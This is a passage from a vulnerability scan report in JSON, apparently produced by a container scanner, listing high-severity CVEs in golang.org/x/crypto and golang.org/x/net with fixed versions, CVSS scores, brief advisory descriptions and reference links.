"https://access.redhat.com/errata/RHSA-2026:37272", "https://access.redhat.com/errata/RHSA-2026:37286", "https://access.redhat.com/errata/RHSA-2026:37296", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37410", "https://access.redhat.com/errata/RHSA-2026:38504", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:40969", "https://access.redhat.com/errata/RHSA-2026:40972", "https://access.redhat.com/errata/RHSA-2026:40974", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47949", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51036", "https://access.redhat.com/errata/RHSA-2026:51038", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:62260", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-39835", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://errata.almalinux.org/9/ALSA-2026-37410.html", "https://errata.rockylinux.org/RLSA-2026:37410", "https://go.dev/cl/781660", "https://go.dev/issue/79563", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-39835.html", "https://linux.oracle.com/errata/ELSA-2026-38504.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39835", "https://pkg.go.dev/vuln/GO-2026-5015", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39835.json", "https://www.cve.org/CVERecord?id=CVE-2026-39835" ], "PublishedDate": "2026-05-22T04:16:24.53Z", "LastModifiedDate": "2026-09-18T13:18:12.74Z" }, { "VulnerabilityID": "CVE-2026-42508", "VendorIDs": [ "GHSA-5cgq-3rg8-m6cv", "GO-2026-5021" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42508", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:99ea2f3eceef1d77d5447bd604ec67050d1986174a2cbc1b96c06d4d631d9341", "Title": "golang.org/x/crypto/ssh/knownhosts: golang: golang.org/x/crypto/ssh/knownhosts: Revocation bypass via unchecked SignatureKey", "Description": "Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.", "Severity": "HIGH", "CweIDs": [ "CWE-295" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:35833", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:37072", "https://access.redhat.com/errata/RHSA-2026:37123", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41064", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:46885", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49944", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51288", "https://access.redhat.com/errata/RHSA-2026:52857", "https://access.redhat.com/errata/RHSA-2026:52910", "https://access.redhat.com/errata/RHSA-2026:54400", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/errata/RHSA-2026:67450", "https://access.redhat.com/security/cve/CVE-2026-42508", "https://bugzilla.redhat.com/2480680", "https://bugzilla.redhat.com/2480681", "https://bugzilla.redhat.com/2480685", "https://bugzilla.redhat.com/2480688", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2493620", "https://bugzilla.redhat.com/show_bug.cgi?id=2480680", "https://bugzilla.redhat.com/show_bug.cgi?id=2480681", "https://bugzilla.redhat.com/show_bug.cgi?id=2480685", "https://bugzilla.redhat.com/show_bug.cgi?id=2480688", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2493620", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39829", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39832", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39835", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-57231", "https://errata.almalinux.org/9/ALSA-2026-37123.html", "https://errata.rockylinux.org/RLSA-2026:37123", "https://github.com/golang/crypto/commit/f717e29698a271c548239ed56bf5dd9516d6f7e8", "https://go.dev/cl/781220", "https://go.dev/issue/79568", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://linux.oracle.com/cve/CVE-2026-42508.html", "https://linux.oracle.com/errata/ELSA-2026-37123.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-42508", "https://pkg.go.dev/vuln/GO-2026-5021", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42508.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-2", "https://www.cve.org/CVERecord?id=CVE-2026-42508" ], "PublishedDate": "2026-05-22T04:16:25.44Z", "LastModifiedDate": "2026-09-15T12:17:45.777Z" }, { "VulnerabilityID": "CVE-2026-46595", "VendorIDs": [ "GO-2026-5023" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46595", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:8922b1a2b7b631f13918e9349e827ebabbc23ac3eee6bc1ba8cd86b0b09b012b", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authorization bypass due to skipped source-address validation", "Description": "Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.", "Severity": "HIGH", "CweIDs": [ "CWE-863", "CWE-303" ], "VendorSeverity": { "amazon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:37275", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:48151", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:59467", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66521", "https://access.redhat.com/security/cve/CVE-2026-46595", "https://bugzilla.redhat.com/show_bug.cgi?id=2480689", "https://github.com/golang/crypto/commit/533fb3f7e4a5ae23f69d1837cd851d35ff5b76ce", "https://go.dev/cl/781642", "https://go.dev/issue/79570", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46595", "https://pkg.go.dev/vuln/GO-2026-5023", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46595.json", "https://ubuntu.com/security/notices/USN-8447-1", "https://ubuntu.com/security/notices/USN-8447-3", "https://www.cve.org/CVERecord?id=CVE-2026-46595" ], "PublishedDate": "2026-05-22T04:16:25.55Z", "LastModifiedDate": "2026-09-11T13:18:12.367Z" }, { "VulnerabilityID": "CVE-2026-46597", "VendorIDs": [ "GO-2026-5013" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.52.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-46597", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:89f01b070b8da64f3fbea0f8f23d6fa57ac24c8d4b9e243fa14c7d16c5a6a81d", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Denial of Service via crafted AES-GCM packet decoder inputs", "Description": "An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.", "Severity": "HIGH", "CweIDs": [ "CWE-704" ], "VendorSeverity": { "amazon": 2, "azure": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-46597", "https://go.dev/cl/781620", "https://go.dev/issue/79561", "https://groups.google.com/g/golang-announce/c/a082jnz-LvI", "https://nvd.nist.gov/vuln/detail/CVE-2026-46597", "https://pkg.go.dev/vuln/GO-2026-5013", "https://www.cve.org/CVERecord?id=CVE-2026-46597" ], "PublishedDate": "2026-05-22T04:16:26.003Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-56854", "VendorIDs": [ "GO-2026-6303" ], "PkgID": "golang.org/x/crypto@v0.49.0", "PkgName": "golang.org/x/crypto", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/crypto@v0.49.0", "UID": "7902b3f05806d8b5" }, "InstalledVersion": "v0.49.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-56854", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:3fdc560aff05e9732bbe07ee22e1539aabf528a8cbf5756be0032d179020a43e", "Title": "golang.org/x/crypto/ssh: golang.org/x/crypto/ssh: Authentication bypass due to unenforced source-address restrictions", "Description": "The source-address critical option in the Permissions returned by an authentication callback was only enforced for the PublicKeyCallback and VerifiedPublicKeyCallback paths, extending the fix for CVE-2026-46595. Permissions returned by the PasswordCallback, KeyboardInteractiveCallback, NoClientAuthCallback, and GSSAPIWithMICConfig.AllowLogin callbacks were not validated against the client's remote address, so a source-address restriction set by those callbacks was silently ignored. The check is now applied to the Permissions returned by any authentication callback.", "Severity": "HIGH", "CweIDs": [ "CWE-863" ], "VendorSeverity": { "amazon": 3, "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-56854", "https://go.dev/cl/797040", "https://go.dev/issue/80213", "https://nvd.nist.gov/vuln/detail/CVE-2026-56854", "https://pkg.go.dev/vuln/GO-2026-6303", "https://www.cve.org/CVERecord?id=CVE-2026-56854" ], "PublishedDate": "2026-08-28T16:18:17.607Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-25681", "VendorIDs": [ "GO-2026-5029" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-25681", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:62d76f39ce71f7c9779722909451b50d87eeb68e463c0b738c159c51cb73532e", "Title": "golang.org/x/net/html: golang.org/x/net/html: Arbitrary code execution via Cross-Site Scripting", "Description": "Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.", "Severity": "HIGH", "CweIDs": [ "CWE-1021" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69293", "https://access.redhat.com/security/cve/CVE-2026-25681", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2480762", "https://bugzilla.redhat.com/2484830", "https://bugzilla.redhat.com/2493622", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2480762", "https://bugzilla.redhat.com/show_bug.cgi?id=2484830", "https://bugzilla.redhat.com/show_bug.cgi?id=2493622", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41178", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42502", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55677", "https://errata.almalinux.org/9/ALSA-2026-69293.html", "https://errata.rockylinux.org/RLSA-2026:69293", "https://go.dev/cl/781703", "https://go.dev/issue/79574", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-25681.html", "https://linux.oracle.com/errata/ELSA-2026-69293.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-25681", "https://pkg.go.dev/vuln/GO-2026-5029", "https://www.cve.org/CVERecord?id=CVE-2026-25681" ], "PublishedDate": "2026-05-22T16:16:19.863Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-27136", "VendorIDs": [ "GO-2026-5030" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.55.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27136", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:30b9a4b5d200d54b532fe01ec16853762c1e4735d94703a3ba0b4797c50d76db", "Title": "golang.org/x/net/html: golang: golang.org/x/net/html: Cross-Site Scripting via HTML parsing bypass", "Description": "Parsing arbitrary HTML which is then rendered using Render can result in an unexpected HTML tree. This can be leveraged to execute XSS attacks in applications that attempt to sanitize input HTML before rendering.", "Severity": "HIGH", "CweIDs": [ "CWE-1021" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 8.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69293", "https://access.redhat.com/security/cve/CVE-2026-27136", "https://bugzilla.redhat.com/2480757", "https://bugzilla.redhat.com/2480761", "https://bugzilla.redhat.com/2480762", "https://bugzilla.redhat.com/2484830", "https://bugzilla.redhat.com/2493622", "https://bugzilla.redhat.com/show_bug.cgi?id=2480757", "https://bugzilla.redhat.com/show_bug.cgi?id=2480761", "https://bugzilla.redhat.com/show_bug.cgi?id=2480762", "https://bugzilla.redhat.com/show_bug.cgi?id=2484830", "https://bugzilla.redhat.com/show_bug.cgi?id=2493622", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25681", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-41178", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42502", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-55677", "https://errata.almalinux.org/9/ALSA-2026-69293.html", "https://errata.rockylinux.org/RLSA-2026:69293", "https://go.dev/cl/781685", "https://go.dev/issue/79575", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-27136.html", "https://linux.oracle.com/errata/ELSA-2026-69293.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27136", "https://pkg.go.dev/vuln/GO-2026-5030", "https://www.cve.org/CVERecord?id=CVE-2026-27136" ], "PublishedDate": "2026-05-22T16:16:20.087Z", "LastModifiedDate": "2026-07-23T16:10:00.137Z" }, { "VulnerabilityID": "CVE-2026-33814", "VendorIDs": [ "GO-2026-4918" ], "PkgID": "golang.org/x/net@v0.52.0", "PkgName": "golang.org/x/net", "PkgIdentifier": { "PURL": "pkg:golang/golang.org/x/net@v0.52.0", "UID": "1328e6f059faf6ba" }, "InstalledVersion": "v0.52.0", "FixedVersion": "0.53.0", "Status": "fixed", "Layer": { "DiffID": "sha256:7bc71251988ff834bba39e52013ae6514e6c018fe6fd6ec35c46a14065c6e7ed" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33814", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:3a1e9cefe56f147a653554a8f8f2d705c8e7cb6d48911843ef9afae83279816f", "Title": "net/http/internal/http2: golang: golang.org/x/net: Go HTTP/2: Denial of Service via malformed SETTINGS_MAX_FRAME_SIZE frame", "Description": "When processing HTTP/2 SETTINGS frames, transport will enter an infinite loop of writing CONTINUATION frames if it receives a SETTINGS_MAX_FRAME_SIZE with a value of 0.", "Severity": "HIGH", "CweIDs": [ "CWE-835", "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bitnami": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:22112", "https://access.redhat.com/errata/RHSA-2026:22120", "https://access.redhat.com/errata/RHSA-2026:22121", "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:33120", "https://access.redhat.com/errata/RHSA-2026:33123", "https://access.redhat.com/errata/RHSA-2026:33142", "https://access.redhat.com/errata/RHSA-2026:33150", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:56854", "https://access.redhat.com/errata/RHSA-2026:56912", "https://access.redhat.com/errata/RHSA-2026:57191", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57365", "https://access.redhat.com/errata/RHSA-2026:57367", "https://access.redhat.com/errata/RHSA-2026:57408", "https://access.redhat.com/errata/RHSA-2026:57545", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59833", "https://access.redhat.com/errata/RHSA-2026:60023", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60441", "https://access.redhat.com/errata/RHSA-2026:60442", "https://access.redhat.com/errata/RHSA-2026:60446", "https://access.redhat.com/errata/RHSA-2026:60447", "https://access.redhat.com/errata/RHSA-2026:60454", "https://access.redhat.com/errata/RHSA-2026:60477", "https://access.redhat.com/errata/RHSA-2026:60478", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:60668", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62410", "https://access.redhat.com/errata/RHSA-2026:62550", "https://access.redhat.com/errata/RHSA-2026:62551", "https://access.redhat.com/errata/RHSA-2026:63046", "https://access.redhat.com/errata/RHSA-2026:63047", "https://access.redhat.com/errata/RHSA-2026:63048", "https://access.redhat.com/errata/RHSA-2026:63050", "https://access.redhat.com/errata/RHSA-2026:63091", "https://access.redhat.com/errata/RHSA-2026:63096", "https://access.redhat.com/errata/RHSA-2026:63097", "https://access.redhat.com/errata/RHSA-2026:63103", "https://access.redhat.com/errata/RHSA-2026:63104", "https://access.redhat.com/errata/RHSA-2026:63636", "https://access.redhat.com/errata/RHSA-2026:63637", "https://access.redhat.com/errata/RHSA-2026:63639", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/security/cve/CVE-2026-33814", "https://bugzilla.redhat.com/2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467810", "https://bugzilla.redhat.com/show_bug.cgi?id=2467811", "https://bugzilla.redhat.com/show_bug.cgi?id=2467813", "https://bugzilla.redhat.com/show_bug.cgi?id=2467815", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2467823", "https://bugzilla.redhat.com/show_bug.cgi?id=2467825", "https://bugzilla.redhat.com/show_bug.cgi?id=2467826", "https://bugzilla.redhat.com/show_bug.cgi?id=2467827", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39819", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39825", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39826", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39836", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42501", "https://errata.almalinux.org/9/ALSA-2026-22121.html", "https://errata.rockylinux.org/RLSA-2026:22121", "https://github.com/golang/go/issues/78476", "https://go-review.googlesource.com/c/go/+/761581", "https://go-review.googlesource.com/c/net/+/761640", "https://go.dev/cl/761581", "https://go.dev/cl/761640", "https://go.dev/issue/78476", "https://groups.google.com/g/golang-announce/c/qcCIEXso47M", "https://linux.oracle.com/cve/CVE-2026-33814.html", "https://linux.oracle.com/errata/ELSA-2026-22121.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33814", "https://pkg.go.dev/vuln/GO-2026-4918", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-33814.json", "https://ubuntu.com/security/notices/USN-8430-1", "https://ubuntu.com/security/notices/USN-8471-1", "https://ubuntu.com/security/notices/USN-8472-1", "https://ubuntu.com/security/notices/USN-8473-1", "https://www.cve.org/CVERecord?id=CVE-2026-33814" 